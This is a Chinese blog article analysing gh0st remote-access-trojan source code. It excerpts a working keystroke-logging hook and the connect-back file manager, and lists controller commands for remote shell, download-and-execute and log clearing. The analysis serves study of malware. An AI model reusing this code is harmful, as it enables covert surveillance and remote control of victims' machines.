gh0st源码分析(中篇)

来自:高性能服务器开发(微信号:easyserverdev),作者:张小方

gh0st 的通信协议

根据《gh0st源码分析(上篇)》文章最后的流程图,我们可以得到 gh0st 网络通信协议包的格式,我们用一个结构体来表示一下:

//让该结构体以一个字节对齐
#pragma pack(push, 1)
struct Gh0stPacket
{

    //5字节package flag: 内容是gh0st
    char flag[5];
    //4字节的包大小
    int32_t packetSize;
    //4字节包体压缩前大小
    int32_t bodyUncompressedSize;
    //数据内容,长度为packetSize-13
    char data[0];
}
#pragma pack(pop)

当发送数据装包的过程和这个解包的过程刚好相反,位于上面说的 CClientSocket::Send 函数里面,这里就不再重复介绍了。

工作线程二

我们刚才介绍了,当解析完一个完整的数据包后,把它放入CClientSocket 的成员变量 m_DeCompressionBuffer 中,然后交给 m_pManager->OnReceive() 函数处理,m_pManager 是一个基类 CManager 对象指针,其 OnReceive 函数我们要看其指向的子类方法的具体实现。这个对象在哪里设置的呢?

在我们上面介绍的程序主脉络中我们说主线程中有一个步骤是等待控制端发送激活命令,这个步骤有这样一段代码:

//svchost.cpp 220行
CKernelManager    manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, 
                        lpszHost, dwPort)
;
socketClient.setManagerCallBack(&manager);

在这里我们可以得出 CClientSocket.m_pManager 指向的实际对象是 CKernelManager,同时在 CKernelManager 的构造函数中又新建了一个工作线程,线程函数叫 Loop_HookKeyboard

//KernelManager.cpp 111行
m_nThreadCount = 0;
// 创建一个监视键盘记录的线程
// 键盘HOOK跟UNHOOK必须在同一个线程中
m_hThread[m_nThreadCount++] =
MyCreateThread(NULL0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard, NULL0NULLtrue);

这个线程句柄被保存在 CKernelManager 的 m_hThread 数组中。线程函数 Loop_HookKeyboard 内容如下:

//Loop.h 76行
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
{
    TCHAR szModule[MAX_PATH - 1];
    TCHAR    strKeyboardOfflineRecord[MAX_PATH];
    CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
    CKeyboardManager::MyGetSystemDirectory(strKeyboardOfflineRecord, ARRAYSIZE(strKeyboardOfflineRecord));
    lstrcat(strKeyboardOfflineRecord, TEXT("\\desktop.inf"));

    if (GetFileAttributes(strKeyboardOfflineRecord) != INVALID_FILE_ATTRIBUTES /*- 1*/)
    {
        int j = 1;
        g_bSignalHook = j;
    }
    else
    {
        //        CloseHandle(CreateFile( strKeyboardOfflineRecord, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL));
        //        g_bSignalHook = true;
        int i = 0;
        g_bSignalHook = i;
    }
    //        g_bSignalHook = false;

    while (1)
    {
        while (g_bSignalHook == 0)
        {
            Sleep(100);
        }
        CKeyboardManager::StartHook();
        while (g_bSignalHook == 1)
        {
            CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
            Sleep(100);
        }
        CKeyboardManager::StopHook();
    }

    return 0;
}

其核心的代码是安装一个类型为 WH_GETMESSAGE 的Windows Hook (钩子) 的 CKeyboardManager::StartHook()

//KeyboardManager.cpp 313行
bool CKeyboardManager::StartHook()
{
    //...无关代码省略...
    m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);
    //...无关代码省略

    return true;
}

WH_GETMESSAGE 类型的钩子会截获钩子所在系统上的所有使用 GetMessage 或 PeekMessage API 从消息队列中取消息的程序的消息。拿到消息后,对消息的处理放在 GetMsgProc 函数中:

//KeyboardManager.cpp 167行
LRESULT CALLBACK CKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    TCHAR szModule[MAX_PATH];

    MSG*    pMsg;
    TCHAR    strChar[2];
    TCHAR    KeyName[20];
    CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
    LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam);
    CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);

    pMsg = (MSG*)(lParam);
    // 防止消息重复产生记录重复,以pMsg->time判断
    if (
        (nCode != HC_ACTION) ||
        ((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) ||
        (m_dwLastMsgTime == pMsg->time)
        )
    {
        return result;
    }

    m_dwLastMsgTime = pMsg->time;

    if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR))
    {
        HWND    hWnd = pMsg->hwnd;
        CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
        HIMC    hImc = ImmGetContext(hWnd);
        CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
        LONG    strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, NULL0);
        CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
        // 考虑到UNICODE
        strLen += sizeof(WCHAR);
        CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
        ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
        CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
        strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen);
        CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
        ImmReleaseContext(hWnd, hImc);
        CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
        SaveInfo(m_pTShared->str);
    }

    if (pMsg->message == WM_CHAR)
    {
        if (pMsg->wParam <= 127 && pMsg->wParam >= 20)
        {
            strChar[0] = pMsg->wParam;
            strChar[1] = TEXT('\0');
            SaveInfo(strChar);
        }
        else if (pMsg->wParam == VK_RETURN)
        {
            SaveInfo(TEXT("\r\n"));
        }
        // 控制字符
        else
        {
            CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
            memset(KeyName, 0, sizeof(KeyName));
            CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
            if (GetKeyNameText(pMsg->lParam, &(KeyName[1]), sizeof(KeyName)-2) > 0)
            {
                KeyName[0] = TEXT('[');
                CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
                lstrcat(KeyName, TEXT("]"));
                SaveInfo(KeyName);
            }
        }
    }
    return result;
}

该函数所做的工作就是记录被监控的电脑上的键盘输入,然后调用 SaveInfo 函数或存盘或发给控制端。

让我们继续来看 CKernelManager::OnReceive() 函数如何对解析后的数据包进行处理的:

//KernelManager.cpp 136行
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    switch (lpBuffer[0])
    {
    //服务端可以激活开始工作
    case COMMAND_ACTIVED:
    {
        //代码省略...
        break;
    case COMMAND_LIST_DRIVE: // 文件管理
        m_hThread[m_nThreadCount++] = MyCreateThread(NULL0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0NULLfalse);
        break;
    case COMMAND_SCREEN_SPY: // 屏幕查看
        //代码省略...
        break;
    case COMMAND_WEBCAM: // 摄像头
        //代码省略...
        break;
        //    case COMMAND_AUDIO: // 语音
        //代码省略...
        //        break;
    case COMMAND_SHELL: // 远程shell
        //代码省略...
        break;
    case COMMAND_KEYBOARD:
        //代码省略...
        break;
    case COMMAND_SYSTEM:
        //代码省略...
        break;
    case COMMAND_DOWN_EXEC: // 下载者
        //代码省略...
        SleepEx(1010); // 传递参数用
        break;
    case COMMAND_OPEN_URL_SHOW: // 显示打开网页
        //代码省略...
        break;
    case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
        //代码省略...
        break;
    case COMMAND_REMOVE: // 卸载,
        //代码省略...
        break;
    case COMMAND_CLEAN_EVENT: // 清除日志
        //代码省略...
        break;
    case COMMAND_SESSION:
        //代码省略...
        break;
    case COMMAND_RENAME_REMARK: // 改备注
        //代码省略...
        break;
    case COMMAND_UPDATE_SERVER: // 更新服务端
        //代码省略...
        break;
    case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
        //代码省略...
        break;
    }
}

通过上面的代码,我们知道解析后的数据包第一个字节就是控制端发给被控制端的命令号,剩下的数据,根据控制类型的不同而具体去解析。控制端每发起一个控制,都会新建一个线程来处理,这些线程句柄都记录在上文说的 CKernelManager::m_hThread 数组中。我们以文件管理这条命令为例,创建的文件管理线程函数如下:

//Loop.h 18行
DWORD WINAPI Loop_FileManager(SOCKET sRemote)
{
    CClientSocket    socketClient;
    if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
        return -1;
    CFileManager    manager(&socketClient);
    socketClient.run_event_loop();

    return 0;
}

在这个线程函数中又重新创建了一个 CClientSocket 对象,然后利用这个对象重新连接一下服务器,ip 地址和端口号与前面的一致。由于 socketClient 和 manager 都是一个栈变量,为了避免其出了函数作用域失效, socketClient.run_event_loop() 会通过退出事件阻塞这个函数的退出:

//ClientSocket.cpp 212行
void CClientSocket::run_event_loop()
{
    //...无关代码省略...

    WaitForSingleObject(m_hExitEvent, INFINITE);
}

在 CFileManager 对象的构造函数中,将驱动器列表发给控制端:

//FileManager.cpp 17行
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
{
    m_nTransferMode = TRANSFER_MODE_NORMAL;
    // 发送驱动器列表, 开始进行文件管理,建立新线程
    SendDriveList();
}

现在已经有两个 socket 与服务器端相关联了,服务器端关于文件管理类的指令是发给后一个 socket 的。当收到与文件操作相关的命令,CFileManager::OnReceive 函数将处理这些这些命令,并发送处理结果:

//FileManager.cpp 29行
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{

    closesocket(NULL);

    switch (lpBuffer[0])
    {
    case COMMAND_LIST_FILES:// 获取文件列表
        SendFilesList((char *)lpBuffer + 1);
        break;
    case COMMAND_DELETE_FILE:// 删除文件
        DeleteFileA((char *)lpBuffer + 1);
        SendToken(TOKEN_DELETE_FINISH);
        break;
    case COMMAND_DELETE_DIRECTORY:// 删除文件
        ////printf("删除目录 %s\n", (char *)(bPacket + 1));
        DeleteDirectory((char *)lpBuffer + 1);
        SendToken(TOKEN_DELETE_FINISH);
        break;
    case COMMAND_DOWN_FILES: // 上传文件
        UploadToRemote(lpBuffer + 1);
        break;
    case COMMAND_CONTINUE: // 上传文件
        SendFileData(lpBuffer + 1);
        break;
    case COMMAND_CREATE_FOLDER:
        CreateFolder(lpBuffer + 1);
        break;
    case COMMAND_RENAME_FILE:
        Rename(lpBuffer + 1);
        break;
    case COMMAND_STOP:
        StopTransfer();
        break;
    case COMMAND_SET_TRANSFER_MODE:
        SetTransferMode(lpBuffer + 1);
        break;
    case COMMAND_FILE_SIZE:
        CreateLocalRecvFile(lpBuffer + 1);
        break;
    case COMMAND_FILE_DATA:
        WriteLocalRecvFile(lpBuffer + 1, nSize -1);
        break;
    case COMMAND_OPEN_FILE_SHOW:
        OpenFile((TCHAR *)lpBuffer + 1, SW_SHOW);
        break;
    case COMMAND_OPEN_FILE_HIDE:
        OpenFile((TCHAR *)lpBuffer + 1, SW_HIDE);
        break;
    default:
        break;
    }
}

关于文件具体指令的执行这里就不分析了,其原理就是调用相关 Windows 文件 API 来操作磁盘或文件(夹)。

下图是我们在控制端同时开启三个文件管理窗口和一个远程桌面窗口的效果截图:


文章未完,你可以继续关注《
gh0st 源码分析(下篇)》。

推荐↓↓↓
程序员的那点事
上一篇:我修正的gh0st控制端的bug 下一篇:Netty、MINA、Twisted一起学系列02:TCP消息边界问题及按行分割消息